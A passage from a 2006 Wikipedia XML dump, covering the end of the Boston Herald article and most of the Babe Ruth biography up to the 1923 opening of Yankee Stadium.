[[March 19]] WHDH-TV was forced to surrender channel 5 to the new [[WCVB-TV]].

Without a television station to subsidize the newspaper, the ''Herald Traveler'' was no longer able to remain in business, and the newspaper was sold to [[Hearst Corporation|Hearst]] which published the rival all-day newspaper the ''Record American''.  The two papers were merged to become an all-day paper called the ''Boston Herald-Traveler and Record American'' in the morning and &quot;Record-American and Boston Herald Traveler&quot; in the afternoon. The PM edition was soon dropped and the unwieldy name shortened to &quot;Boston Herald American.&quot; The paper became a tabloid newspaper in September [[1981]].  On [[December 20]], [[1982]], the paper was purchased by Rupert Murdoch, who changed its name back to the ''Boston Herald''.  The ''Herald'' continued to grow over the ensuing decades, expanding its coverage and increasing its circulation until the early 21st century, when circulation and advertising revenue dropped -- part of a phenomenon affecting almost all American newspapers in an expanding age of free media. The paper retrenched into its &quot;Record American&quot; roots and was retooled as a more sensationalist publication on the hope that boosting street sales would keep the paper alive.

In February [[1994]], [[News Corporation]] was forced to sell the paper, in order that its subsidiary [[Fox Television Network]] could legally consummate its purchase of [[Fox Broadcasting Company|Fox]] affiliate [[WFXT-TV|WFXT]] (Channel 25).  [[Patrick Purcell]], who was the publisher of the ''Boston Herald'' and a [[News Corporation]] executive, purchased the ''Herald'' and established it as an independent newspaper.  Several years later, Purcell would give the ''Herald'' a suburban presence it never had by purchasing the money-losing [[Community Newspaper Company]] from [[Fidelity Investments]].  Although the companies merged under the banner of [[Herald Media, Inc.]], the suburban papers maintained their distinct editorial and marketing identity.

The &quot;Herald&quot; continues to publish an aggressive daily newspaper and offer Boston readers an alternative at a time when many cities have only a single daily newspaper.

==Awards== 
The ''Herald'''s four [[Pulitzer Prizes]] for editorial writing, in 1924, 1927, 1949 and 1954, are among the most awarded to a single newspaper in the category. ''Herald'' photographer [[Stanley Forman]] received two Pulitzer Prizes consecutively in 1976 and 1977, the first being a dramatic shot of a young child falling in mid-air from her mother's arms on the upper stories of a burning apartment building to the waiting arms of firefighters below, and the latter being of [[Ted Landsmark]], an [[African American]] city official, being beaten with an [[American flag]] during Boston's school [[busing]] crisis.

==Columnists==
*In March 2004, the ''Herald'' hired [[Mike Barnicle]], a local columnist fired by rival [[The Boston Globe]] in 1998 for journalistic fraud that was in part uncovered in a report on the Herald's online site. In early 2005, Barnicle left the paper as a full-time contributor as the ''Herald'' announced a downsizing of staff, saying he did not want to draw his salary while longtime workers were in danger of losing their jobs.
*[[Howie Carr]] is a front page columnist who also hosts a [[talk show]] on [[WRKO]]. Carr writes extensively on local politics.
*[[Tony Massarotti]] is a [[baseball]] columnist for the paper.
*[[Howard Bryant]]

==References==
* Sterling Quinlan, ''The Hundred Million Dollar Lunch'' (Chicago, J.P. O'Hara, 1974), ISBN 0879553103.

==External links==
* [http://www.bostonherald.com/ The ''Boston Herald'''s website]
* [http://www.townonline.com/ Town Online - the smaller papers owned by Herald Media]
* [http://www.boston.com/business/articles/2005/11/08/heralds_circulation_declines/ ''Herald'''s circulation declines]
* [http://www.heraldmedia.com/history.bg Company History]

[[Category:1982 establishments]]
[[Category:Newspapers of Massachusetts]]</text>
    </revision>
  </page>
  <page>
    <title>Babe Ruth</title>
    <id>4173</id>
    <revision>
      <id>42072551</id>
      <timestamp>2006-03-03T17:06:56Z</timestamp>
      <contributor>
        <username>Zsinj</username>
        <id>597658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/68.81.158.188|68.81.158.188]] to last version by BrownHairedGirl</comment>
      <text xml:space="preserve">{{Infobox baseball player | name=Babe Ruth | image name=Babe%20Ruth.jpg
| birthdate= [[February 6]], [[1895]] 
| birthplace= [[Baltimore]], [[Maryland|MD]]
| dead=dead
| deathdate= [[August 16]], [[1948]]
| deathplace= [[New York]], [[New York|NY]]
| debutdate= [[July 11]], [[1914]]
| debutteam= [[Boston Red Sox]]
| debutopponent= [[Cleveland Indians]]
| debutstadium= [[Fenway Park]]
| teams= [[Boston Red Sox]] ([[1914 in sports|1914]]-[[1919 in sports|1919]])&lt;BR&gt;[[New York Yankees]] ([[1920 in sports|1920]]-[[1934 in sports|1934]])&lt;BR&gt;[[Atlanta Braves|Boston Braves]] ([[1935 in sports|1935]])
| HOFer=HOFer
| inductiondate=[[1936 in sports|1936]]
| careerhighlights=&lt;nowiki&gt;&lt;/nowiki&gt;
* Second in career [[home run]]s (714)
* First in career [[slugging percentage]] (.690)
* Third in career [[runs scored]] (2174)
* Second in career [[runs batted in]] (2213)
* Third in career [[base on ball]]s (2062)
* Set single season record with 60 [[home run]]s (now is fifth all-time)
* Led [[American League]] in [[home run]]s 12 times
* Led American League in [[slugging percentage]] 13 times
* Led American League in [[runs scored]] 8 times
* Led American League in [[runs batted in]] 6 times
* AL [[MLB Most Valuable Player award|MVP Award]] ([[1923 in sports|1923]])
* Won 7 [[World Series]]
}}
:''For the band named 'Babe Ruth', see [[Babe Ruth (band)]].''

'''George Herman Ruth''' ([[February 6]], [[1895]] &amp;ndash; [[August 16]], [[1948]]), better known as '''Babe Ruth''', also commonly known by the nicknames ''The Bambino'' and ''The Sultan of Swat'', was an American [[baseball]] player and [[United States]] national icon. Consistently chosen as the greatest baseball player in history, his home run hitting exploits and titanic appetite for living made him one of the representative figures of the [[Roaring Twenties]]. He was one of the first five players elected to the [[Baseball Hall of Fame]], and he was the first player to hit over 30, 40 and 50 home runs in one season.  His record of 60 home runs in the 1927 season stood for 34 years until it was broken by [[Roger Maris]] in 1961.  He was a member of the original [[American League]] [[Major League Baseball All-Star Game|All-Star]] team in [[1933 in sports|1933]]. In 1969, Ruth was named baseball's Greatest Player Ever in a ballot commemorating the 100th anniversary of professional baseball.  In 1998, ''[[The Sporting News]]'' named Ruth as Number One in its list of &quot;Baseball's 100 Greatest Players.&quot; In 1999, Ruth was elected to the [[Major League Baseball]] All-Century Team in fan balloting.

As discussed in the book ''The Babe: A Life in Pictures'', by Lawrence Ritter and Mark Rucker, it is more than mere statistical records that make Babe Ruth unequivocally the greatest baseball player of all time. In several ways, he changed the nature of the game itself. His exploitation of the &quot;power game&quot; compelled other teams to follow suit, breaking the monopoly of the &quot;inside game&quot; that had been the primary strategy for decades. Ruth was the focal point of the start of what has become statistically the greatest sports dynasty in history, the [[New York Yankees]]. His international fame helped to fuel the rising interest in sports in the 1920s and 30s. He significantly expanded the fan base of baseball and triggered the major expansion of nearly all of the ballparks in the major leagues, and [[Yankee Stadium]] is often called &quot;The House That Ruth Built&quot;.
[[Image:Ruth20.jpg|thumb|75px|right]]
[[Image:Ruthstamp2.jpg|thumb|240px|right|This photograph was the model for a United States commemorative stamp (seen above) of Ruth that was issued in 1983.]]

==Early days==
{{MLB HoF}}
Ruth was born at 216 Emory Street in south [[Baltimore, Maryland]]. The house, which was only a block from where [[Oriole Park at Camden Yards]] now stands, was rented by his maternal grandfather, Pius Schamberger, a [[German people|German]] [[immigrant]] who eked out a living as an upholsterer. Babe's parents, Kate and George, Sr., lived above the [[bar (establishment)|saloon]] they owned and operated on Camden Street. Kate would walk to her father's home each time she gave birth to a child, eight in all. Only Babe and his sister, Mary (some sources give her name as Marnie), survived infancy. 

Young George was known for mischievous behavior. He skipped school, ran the streets, and committed petty crimes. By age seven, he was drinking, chewing [[tobacco]], and had become difficult for his parents to control. Mary recalled how their father would beat Babe in a desperate attempt to bring the boy into line, but to no avail. He was finally sent to St. Mary's Industrial School for Boys, a school run by [[Roman Catholic Church|Catholic]] brothers.  Brother Matthias, a [[Roman Catholic Church|Roman Catholic]] brother and the school's disciplinarian, became the major influence in his life, the one man Babe respected above all others. It was Brother Matthias who taught him baseball, working with him for countless hours on hitting, fielding and, later, pitching.

[[Image:RuthStMary's.jpg|thumb|275px|left|The young Ruth (top row, far left) while at St Mary's Industrial School for Boys, where he learned the fundamentals of baseball.]]
Because of his &quot;toughness,&quot; George became the team's [[catcher]]. He liked the position because he was involved in every play. One day, as his team was losing, George started mocking his own pitcher.  Brother Matthias promptly switched him from catcher to [[pitcher]] to teach him a lesson, but instead of getting his comeuppance, George shut the other team down.

Brother Gilbert brought Ruth to the attention of [[Jack Dunn]], owner and manager of the minor-league [[Baltimore Orioles (minor league)|Baltimore Orioles]], and the man often credited with discovering him. In 1914 Dunn signed 19-year-old Ruth to pitch for his club, and took him to spring training in [[Florida]], where a strong performance with both bat and ball saw him make the club, while his precocious talent and childlike personality saw him nicknamed &quot;Dunn's Babe.&quot; On [[April 22]], [[1914]], &quot;The Babe&quot; pitched his first professional game, a six-hit, 6-0 victory over the Buffalo Bisons, also of the [[International League]].

On [[July 4]] the Orioles had a record of 47-22, but their finances were in poor condition.  In 1914 the breakaway [[Federal League]], a rebel major league which would last only two years, placed a team in Baltimore, just across the street from the minor league Orioles, and the competition hit Orioles' attendance significantly.  To make ends meet, Dunn was obliged to dispose of his stars for cash, and he sold Ruth's contract with two other players to [[Joseph Lannin]], owner of the [[Boston Red Sox]], for a sum rumored to be between $20,000 and $35,000.

==The Red Sox years==
===Ruth the pitcher===
Ruth was a skillful pitcher, but the Red Sox's starting rotation was already stacked with lefties, so they initially made little use of him.  With a 1&amp;ndash;1 record, he sat on the bench for several weeks before being sent to the International League with the [[Providence Grays]] of [[Providence, Rhode Island]]. Pitching in combination with the young [[Carl Mays]], Ruth helped the Grays win the pennant. At the end of the season, the Red Sox called him back to the majors, and Ruth would stay in the majors permanently.  Shortly after the season, Ruth proposed to Helen Woodford, a waitress he met in [[Boston, Massachusetts|Boston]], and they were married in [[Baltimore, Maryland|Baltimore]] on [[October 14]], [[1914]].
[[image:Babe_Ruth01.jpg|thumb|200px|right|Ruth pitching for the Red Sox at Comiskey Park.]]
During spring training in 1915, Ruth secured a spot as a starter.  He joined a fine pitching staff that included Rube Foster, [[Dutch Leonard (left-handed pitcher)|Dutch Leonard]], and a rejuvenated [[Smokey Joe Wood]], and their pitching carried the Red Sox to the pennant.  Ruth won 18 games and lost 8, and helped himself with the bat by hitting .315 and hitting his first four major league home runs.  The Red Sox won the [[1915 World Series]], defeating the [[Philadelphia Phillies]] 4 games to 1, but because manager [[Bill Carrigan]] preferred right-handers, Ruth did not pitch and grounded out in his only at bat. 

Ruth continued to improve in 1916.  After a slightly shaky spring, he would make a case as the best pitcher in the American League.  He went 23&amp;ndash;12, with a 1.75 ERA and 9 shutouts; the shutout mark is still tied for the best mark for an A.L. left hander.  The Red Sox offense had been weakened by the sale of [[Tris Speaker]] to the [[Cleveland Indians]], but their strong pitching again took them to the [[World Series]], where they met the [[Brooklyn Dodgers|Brooklyn Robins]].  In game 2 of the series, Ruth pitched a 14-inning complete game victory, helping the Red Sox to another World Series title, a 4&amp;ndash;1 series win over the Robins.  He repeated his strong performance in 1917, going 24&amp;ndash;13, but the Red Sox could not keep pace with the [[Chicago White Sox]] and their 100 wins, and they missed out on a third straight postseason appearance.

===Emergence as a hitter===
After the 1917 season in which he hit .325, albeit with limited at bats, teammate [[Harry Hooper]] suggested that Ruth might be more valuable in the lineup as an everyday player.  In 1918, he began playing in the outfield more and pitching less.  His contemporaries thought this was ridiculous; former teammate [[Tris Speaker]] speculated the move would shorten Ruth's career, but Ruth himself wanted to hit more and pitch less.  In 1918, Ruth batted .300 and led the A.L. in home runs with 11 despite having only 317 at bats, well below the total for an everyday player.  He also pitched well, going 13&amp;ndash;7 with a 2.22 ERA. Ruth's excellence as hitter and pitcher made a strong case as the best player in baseball during the 1918 season.  He also led the Red Sox to another World Series, where they met the [[Chicago Cubs]]. 
[[Image:Ruth1918.jpg|thumb|200px|right|Ruth batting in 1918, the first year he started to make a name for himself as a hitter.]]

The 1918 World Series would be marred by not only the specter of [[World War I]], but by abysmal attendance and such low revenue-sharing that players threatened to strike before game 5. In the series, Ruth as a pitcher went 2&amp;ndash;0 with a 1.06 ERA, helping the Red Sox to a 4&amp;ndash;2 series victory over the Cubs.  During the series, Ruth extended his World Series consecutive scoreless inning streak to 29 2/3 innings (a record that lasted until [[Whitey Ford]] broke it in 1961).  Since the Cubs top left-handers [[Hippo Vaughn]] and Lefty Tyler pitched nearly all the innings, Ruth's left-hand batting kept him from the regular lineup, and he batted just five times.  The Red Sox had won their fourth World Series in seven years and fifth overall, and Ruth had played a major part in three of the series titles.  From the 1903 inception of the World Series to 1918, the [[Boston Red Sox]] were the most successful franchise in major league baseball. 

By 1919, Ruth was basically a full-time outfielder, pitching in only 17 of the 130 games in which he appeared.  He set his first single-season home run record that year, hitting 29 home runs, breaking the previous record of 27 set by [[Ned Williamson]] in 1884, in addition to batting .322 and driving in 114 runs.  News of his batting feats spread rapidly, and wherever he played large crowds turned out to see him.  As his fame spread, so did his waistline.  Since his time as an Oriole, teammates had marveled at Ruth's capacity for food, and by 1919 his physique had changed from a tall athletic frame to more of a rotund shape, although Ruth's weight would have wide fluctuations until the mid-1920s.  Beneath his barrel-shaped body, his powerful muscular legs seemed strangely thin, but he was still a capable baserunner and outfielder. His contemporary [[Ty Cobb]], noted for his cruel bench jockeying of Ruth, would later remark that Ruth &quot;ran okay for a fat man.&quot;

===Growing problems===
Despite his success on the field, Ruth had started to become a headache for the Red Sox.  In July 1918, Ruth ignored a sign from manager [[Ed Barrow]] during an at bat that led to a heated verbal spat when Ruth reached the dugout, and Barrow fined Ruth $500 when Ruth threatened to punch him in the nose.  Ruth threw a tantrum and quit the team for a few days, and it was reported he had signed a new contract with the Chester Shipyards, a [[Pennsylvania]]-based pro team.  It was also during the 1918 season that he started to refuse his pitching turns in the starting rotation, often citing injuries that Barrow would question.  By this time, Ruth considered himself an everyday outfielder and had no more desire to pitch.  &quot;I'll win more games playing everyday in the outfield than I will pitching every fourth day,&quot; Ruth remarked.  After his 1918 season, Ruth had the leverage of knowing he had become baseball's biggest star, and before the 1919 season, he was blunt with the Red Sox&amp;mdash;he wanted to play every day and not pitch at all.  Initially, Barrow and the Red Sox acquiesced, but injuries to the Red Sox pitching staff in 1919 forced a balking Ruth back into the rotation for spot starts.  

There were also Ruth's off-the-field indiscretions.   His late nights of partying and boozing were further sources of irritation to the franchise, and he had numerous fights with Barrow over [[curfew]] violations.  Eventually Ruth was forced to write Barrow notes on what time he came in each night (notes Barrow never verified).  He signed a 3-year contract in 1919 for $10,000 a year, but at the end of the 1919 season, he demanded $20,000 a year and threatened to sit out the 1920 season if he did not receive a new contract.  Ruth was certainly worthy of the price, but he also needed more money to finance the large amount of money he spent on fast automobiles, fine clothes, and entertaining his many women &quot;friends.&quot;  Red Sox owner [[Harry Frazee]] commented,  &quot;If Ruth doesn't want to work for the Red Sox, we can work out an advantageous trade.&quot;  To some people, Ruth had become an ''enfant terrible'', although after his 1919 season, it seemed almost inconceivable that anyone would seriously recommend trading him.

=== Sold to New York ===
[[Image:FrazeeRedsox.JPG|thumb|left|200px|[[Harry Frazee]], the Boston Red Sox owner from 1916 to 1923.  Frazee's selling of Ruth has been called the worst and best deal in sports history, depending on one's perspective.]]

Despite Ruth's box office appeal, the Red Sox were in a perilous financial position.  After he took over the club in 1916, Red Sox owner [[Harry Frazee]] paid large salaries to attract the best players (some even accused him of trying to buy the pennant).  But because of [[World War I]], Red Sox attendance, as in every other major league city, fell off badly.  Revenue was down, and the financial failure of the [[1918 World Series]] did not help Frazee either.  Frazee, whose true passion was the [[theater]], owned several theaters and financed his own shows, but at that time his shows were also losing money.  Having overextended himself financially, Frazee was desperate for cash, and his players were his only source of money.  When the Red Sox championship run from 1912 to 1918 ended with a crash&amp;mdash;the 1919 team finished 66&amp;ndash;71&amp;mdash;Frazee began selling off his best players.  He sold many of these players to the [[New York Yankees]], who until then were a perennial losing club.  Ruth had a record-setting season in 1919, and he made it clear he wanted his salary doubled.  Knowing he could never meet Ruth's salary demands and coupled with the other problems Frazee believed Ruth brought, Frazee worked out a deal with Yankees owner [[Jacob Ruppert]].  For a sum of $125,000 and a loan of more than $300,000 (secured on [[Fenway Park]] itself), Frazee sold Ruth to the Yankees on [[January 3]].

There was an uneasiness in the Boston sports world just after the sale was announced, although a number of sportswriters supported the sale.  On [[January 5]], 1920, Frazee faced the press and answered his critics with calmness and assuredness.  He justified his actions with these comments:

:&quot;It would be impossible to start next season with Ruth and have a smooth-working machine.  Ruth had become simply impossible, and the Boston club could no longer put up with his eccentricities.  I think the Yankees are taking a gamble.  While Ruth is undoubtedly the greatest hitter the game has ever seen, he is likewise one of the most selfish and inconsiderate men ever to put on a baseball uniform.&quot;

The trading of Ruth sent the Red Sox franchise into a downward spiral.  From 1920 to 1934, during Ruth's tenure as a Yankee, the Boston Red Sox were the worst team in the [[American League]].  During this span they finished last 10 times, never finished above 5th place, and they did not have a single winning season.  After they sold Ruth, Boston's failure to win even a single World Series for the next 86 years (until [[2004 World Series|2004]]), contrasted with the Yankees' overwhelming success, led to a superstition that was dubbed the &quot;[[Curse of the Bambino]].&quot;

==Ruth the Yankee==
[[Image:Ruth1920.jpg|thumb|200px|right|Babe Ruth in 1920, the year he joined the New York Yankees.]]
Almost immediately, the Yankees' investment in Ruth began to pay off.  He trained extensively over the [[winter]], and in 1920 turned up at spring training physically fit.  When the season started, it was clear that the more hitter-friendly [[Polo Grounds]] suited him, and Ruth's 1920 season turned into one that no one had ever come close to seeing before.  He hit [[54]] [[home run]]s, smashing his year-old record of 29, batted .376, and led the league in [[runs]] (158), [[RBI]]s (137), [[bases on balls]] (148); and his [[slugging average]] of .847 was a major league record for over 80 years until [[Barry Bonds]] eclipsed it with a .863 mark in 2001.  Ruth's season was so dominating that it led to one of the most amazing statistics in baseball history:  In 1920, Ruth out-homered all but one team in baseball, as only the [[Philadelphia Phillies]], with 64, hit more home runs than Ruth.  

Ruth's remarkable season had the Yankees in a serious pennant chase for the first time since 1904 (the year a famous [[wild pitch]] by [[Jack Chesbro]] cost them the pennant).  The Yankees battled the entire season with the [[Cleveland Indians]], player-managed by [[Tris Speaker]], Ruth's old Red Sox teammate, and the [[Chicago White Sox]], the same infamous &quot;[[Black Sox scandal]]&quot; team.  In the end, the Indians won the pennant and eventually the World Series.

Ruth was a natural fit in [[New York City]]&amp;mdash;the biggest star in the game needed the largest stage,  the largest crowds, the largest [[media]] coverage.  His flamboyance, vitality, and obvious flaws symbolized New York.  His persona transcended baseball, and he was one of the enduring emblems in the carefree spirit of the [[roaring '20s]].  The large [[immigrant]] communities of [[New York City]] were drawn to him, and the [[Italian people|Italian]] [[enclave]] of New York gave him the  nickname ''bambino'' (&quot;babe&quot;, &quot;baby&quot;). Even the [[black]] community adopted him as one of their own, as a reported story (that was untrue) was that Ruth had a &quot;secret&quot; black heritage, a story propagated with pride among players in the [[Negro Leagues]].  To some people, Ruth was more than a baseball player, he was a national [[icon]].   He became the dominant name in the storied [[New York Yankees]] franchise, whose winning tradition he inaugurated.   As a few people in history seem to be an exact fit in place and time, such was the case with Babe Ruth going to New York in 1920.

== Impact on Baseball ==
Ruth's impact on baseball went well beyond his statistics.  Attendance, which had stagnated in the 1910s, greatly increased because of the attention Ruth brought to the game, and he was at the forefront of the new [[live ball]] era that revolutionized how the game was played. A few baseball fans even gave Ruth credit for &quot;saving&quot; baseball after the [[Black Sox scandal]] broke in the fall of 1920, and although this was not true, Ruth's exploits on the field likely won back some fans who had been soured by the [[scandal]].   

===Increased Attendance===   

Obviously Ruth was not the only reason more fans were coming to the [[ballpark]]. Some people wished to escape the post&amp;ndash;[[World War I]] [[angst]] and wanted a &quot;[[Return to Normalcy]]&quot;, as a 1920 Presidential campaign slogan of [[Warren G. Harding]] put it. The dramatic increase in home runs and scoring was also getting fans' attention.  These and other reasons were factors, but it is no coincidence that the 1920 Yankees shattered the league attendance mark. The Yankees drew nearly 1.3 million fans, breaking the old mark of the 1908 [[New York Giants]] by nearly 400,000 [[fan (aficionado)|fan]]s. Attendance dramatically increased in every major league city in 1920, and seven teams set their own attendance records. The attention Ruth generated for the game with all his home runs, playing in New York, his personality, and even his off-the-field activities (some not always positive) was bringing an unprecedented spotlight to baseball.  One reporter wrote, &quot;This new fan didn't know where first base was, but he had heard of Babe Ruth and wanted to see him hit a home run.  When the Babe hit one, the fan went back the next day and knew not only where first base was, but second base as well.&quot;  Baseball still had its problems: a [[Racial segregation|segregate]]d game, competitive imbalance, and owners with complete control over the players, but the popularity of the game increased so much that the 1920s has often been called baseball's first ''Golden Age'', and Babe Ruth can justifiably be given a large share of the credit.

=== Beginning of the live ball era ===   

Ruth's home runs were at the epicenter of an offensive explosion in baseball. In 1918, the major league [[batting average]] was .254; in 1921 it was .291. The league [[ERA]] went from 2.77 to 4.02, [[runs]] increased 25% and [[home run]]s increased 300% over the same time span.  Almost overnight, baseball had gone from the most anemic hitting era in [[baseball history]] (the [[dead-ball era]]) to what would be the greatest hitting era&amp;mdash;the 1920s.    

A few factors have been cited for the dramatic increase in offense. One major reason was that baseball in 1920 outlawed the [[spitball]] pitch (with some exceptions), the emery (scuffed) pitch, and all unorthodox pitching deliveries.  The spitball was a devastating pitch to the batter, as it gave a [[pitcher]] great movement on the ball, especially downward.  Another factor for increased scoring was the league mandate to regularly replace the baseball during a game.  Previously, the same discolored, tobacco-stained ball was used over and over until it was literally falling apart.  The overused ball would lose its resiliency, making it much more difficult to hit it for distance.  The impetus for this change was the death of [[Ray Chapman]] in 1920, who was killed when he was hit in the [[head]] with a dirty, darkened pitched ball that may have contributed to him losing the baseball in the hitting background. 

Another reason given for the increase in home runs was that more players were emulating Ruth's full, free swing.  Before Ruth and the [[Live Ball Era]], the emphasis was for batters to choke up on the bat and hit for direction, not distance.  With his swing, Ruth showed it was possible to hit a prodigious amount of home runs, and more players started to swing for the fences.  With the home run now a weapon, more managers lessened their previous absolute control of the offense, and they started to play for the big inning by giving their players freedom to swing away. By 1921, [[stolen base]]s were half the total from just a few years earlier, and the use of the [[sacrifice]] and [[hit and run (baseball)|hit and run]], additional overused strategies during the [[dead-ball era]], also decreased.   

Skeptical of the new offense in the game, some baseball writers of the time claimed the baseball was livened (usually done by winding it tighter, or changing the [[cork]] center, or both).  This assertion even became accepted as a fact over time, even though there was no scientific evidence the ball had changed. One study in August 1920 confirmed the ball was the same as in previous years, and early in 1921, also hearing rumors about the &quot;juiced&quot; ball, [[National League]] President John Heydler launched his own investigation and also concluded the ball was no different.  Heydler's findings stated the outlawing of the [[spitball]] was the predominant factor for the increased scoring.  Those who claimed the ball was livened may not have had hard evidence, but they had history and statistics on their side, as never in baseball history had there been such a quantum leap in offense over such a short time.

==The Greatest Season Ever==
[[Image:BRuth1921-2.jpg|thumb|200px|left|Babe Ruth in 1921, a year he was at his best.]]
As historic as Ruth's 1920 season was, his 1921 season was even better.  In fact, Ruth's 1921 season is statistically the greatest season by any batter in major league history.  This season merits a mention of some of his statistics and how they ranked all-time for a single season.  In 152 games Ruth batted .378, had 204 [[hits]], 44 [[double]]s, 16 [[triple]]s, 59 [[home run]]s (8th all-time), scored 177 [[runs]] (2nd all-time), had 171 [[RBI]]s (7th all-time), 144 [[bases on balls]], with 119 [[extra base hits]] (1st all-time), an .846 [[slugging average]] (3rd all-time), and amassed 457 [[total bases]] (1st all-time).  

Using advanced statistical methods to measure a player's value, some of the best present-day baseball statistical researchers show Ruth's season is unmatched. The ''Stats Major League Baseball Handbook'', a massive, encyclopedic baseball work compiled by noted baseball researchers [[Bill James]], Neil Munro, Don Zminda, and John Dewan, developed a [[runs created]] formula to value how many runs a player produces. Using their formula, the 208 [[runs created]] by Ruth in 1921 is the highest total for any player in any season. 

Ruth's season was monumental on its own, but the Yankees had many quality players who helped lead the team to its first-ever pennant. [[Bob Meusel]], [[Frank Baker]], and [[Wally Pipp]] were part of a lineup that batted .300 and scored 948 runs.  The pitching was led by [[Carl Mays]], who won 27 games, with fine seasons by [[Waite Hoyt]] and [[Bob Shawkey]].  

The Yankees met the [[New York Giants]] in the [[World Series]], managed by [[John McGraw (baseball)|John McGraw]].  The Giants excelled at McGraw's time-tested strategy, using hit-and-run, stolen base, and bunt, and despite hitting only [[75]] home runs, they led the N.L. in runs scored.  Their star was slick-fielding [[Frankie Frisch]], who batted .341 and led the league in stolen bases with 49.  The Giants lineup also included future Hall of Fame players [[George Kelly]], [[Ross Youngs]], and [[Dave Bancroft]]. 

The Yankees were up 3&amp;ndash;2 in the series, but Ruth had badly scraped his elbow in game 2 when sliding into third.  He continued to play, but his arm eventually became swollen and infected, and was told by the team [[physician]] not to play the rest of the series (although he would pinch hit in game 8).  Without Ruth, the Yankees seemed mentally beaten, and they lost the last 3 games of the series.  Ruth had a respectable series, going 5 for 16 with a .316 average, drove in 5 runs and hit his first World Series home run, but he struck out 8 times.  The Giants had a measure of revenge on the Yankees, who were also using the [[Polo Grounds]] as their home and had been embarassed by the Yankees by being outdrawn in attendance.

==Troubled season==
The [[1921 World Series]] appearance would indirectly lead to problems for Ruth.  Seeking to avoid diminishing the meaning of the fall classic, organized baseball instituted a rule in 1911 that prohibited World Series players from playing in exhibition games during the off-season. Ruth, typically, decided this rule did not apply to him, and even though [[Baseball Commissioner]] 
[[Kenesaw Mountain Landis]] had warned Ruth about the trip, Ruth went ahead and embarked on his usual lucrative [[barnstorming]] tour with two teammates. Landis came down hard on the recalcitrant players, and he suspended Ruth and teammate [[Bob Meusel]] for the first six weeks of what was to be a turbulent 1922 season for Ruth.  When he returned to the Yankees on [[May 20]], Yankee management named Ruth their first on-field captain, but just five days after his return, he was ejected for arguing an [[umpire]]'s call at third, and exacerbated the situation by climbing into the seats to confront a heckling [[fan (aficionado)|fan]].  The captaincy was stripped, and Ruth's temper would see him suspended three more times in 1922 for arguing with umpires.
[[Image:RuthMcgraw1922.jpg|thumb|220px|left|Ruth and Giants manager John McGraw prior to the 1922 World Series.  When Ruth was still a pitcher, McGraw once commented on him, &quot;If he plays every day, the bum will hit into a hundred double plays a season.&quot;]]
While Ruth suffered his first professional setback, his personal life was in a worse state.  His wife Helen disliked the celebrity lifestyle to which the Babe was drawn, and she lived on their farm near Boston with their adopted [[daughter]], Dorothy. Free from the eyes of his wife, Ruth embraced the lifestyle even more fully. His love of fine food, undiminished over the years, was matched only by his appetites for [[alcoholic beverage|alcohol]], the nightlife, and casual sex.  Helen and Babe's marital problems compromised Helen's delicate health.  She was frequently ill with numerous ailments, which reportedly included several [[nervous breakdown]]s.  

The suspension at the beginning of the season affected Ruth at the plate. He struggled all year, and his batting, on-base and slugging averages fell dramatically (.315/.434/.672).  He hit 35 home runs with 99 runs batted in, but the suspensions and some injuries limited his playing time to just 110 games.  All the time he missed on the field hurt the Yankees, but they had barely enough to get past the .420-hitting [[George Sisler]] and the rest of the heavy-hitting [[St. Louis Browns]] for the pennant.  

Ruth's struggles during the season continued into the [[World Series]].  Giants manager [[John McGraw (baseball)|John McGraw]] had instructed his pitchers to throw Ruth nothing but curve balls, and Ruth never adjusted.  He went just 2 for 17--a .118 average, and the Yankees were defeated by the [[New York Giants]] for the second straight year, 4&amp;ndash;0, with one tie.  Compared to his first two incredible seasons as a Yankee, the 1922 season was a major disappointment for Ruth.

==&quot;The House That Ruth Built&quot;==
Ruth regrouped from his troubled 1922 season.  He worked out hard in the off-season.  He came into the 1923 season in good shape, and it showed in his play.  He batted .393, which would be the highest of his career, although he lost the batting title to [[Harry Heilmann]], who hit .403.  His home run total of 41, a modest total for him, led the majors.  Ruth also led the A.L. in walks (170), a single-season record not broken until [[Barry Bonds]] walked 177 times in 2001; runs (131), RBIs (151), extra-base hits (99), and slugging average (.764).  He also missed only two games, compared to over 40 games the previous season.  Ruth had returned to his dominant form, and the Yankees easily returned to the [[World Series]]. 
[[Image:Yankeestad2.jpg|thumb|250px|left|The opening of Yankee Stadium, April 18, 1923.]]
The 1923 season also saw the opening of [[Yankee Stadium]].  The Yankees had been sharing the [[Polo Grounds]] with the Giants since 1913, but since Ruth arrived, the Yankees had been significantly outdrawing the Giants.  With the increased revenue and team success, as well as a threat of eviction from the Polo Grounds by the Giants, the Yankees needed a new home.  In 1921, Yankee owner [[Jacob Ruppert]] bought a small piece of land in the [[Bronx]] for $600,000 from the [[Astor]] estate.  After a year of construction and a cost of $2.5 million (a huge sum at the time), the 62,000-seat Yankee Stadium opened on [[April 18]], 1923.  In the first game played there, Ruth, fittingly, hit the stadium's first home run, and sportswriter Fred Lieb soon nicknamed Yankee Stadium &quot;The House That Ruth Built.&quot;  

Detractors of the stadium would call it &quot;The House Built for Ruth&quot;, and &quot;Ruthville&quot;, as the short 295-foot distance to right field seemed tailor-made for some &quot;cheap&quot; home runs for the [[left-handed]], pull-hitting Ruth.  In time, this argument would have little statistical support.  From 1923 to 1932, in his prime home-run-hitting years, Ruth hit more home runs on the road, and in his 60 home run season of 1927, he hit 32 of those on the road.  

For the third straight year the Yankees faced the Giants in the [[World Series]].  Injured during the 1921 World Series, and completely ineffective in the 1922 series, Ruth was the best player on the field in the 1923 World Series.  He went 7 for 19, a .368 average, slugged 1.000, walked 8 times, scored 8 runs, hit 3 home runs, and led the Yankees to a 4&amp;ndash;2 series victory.  The Yankees had their first World Series title, and the start of what became the most successful major sports team in [[North America]].  From 1923 to the present, the Yankees have appeared in 37 World Series, winning 26 of those series.

==&quot;The Bellyache Heard Around the World&quot;==
[[Image:3BRuth1925.jpg|thumb|225px|right|A hospitalized Ruth in 1925.]]
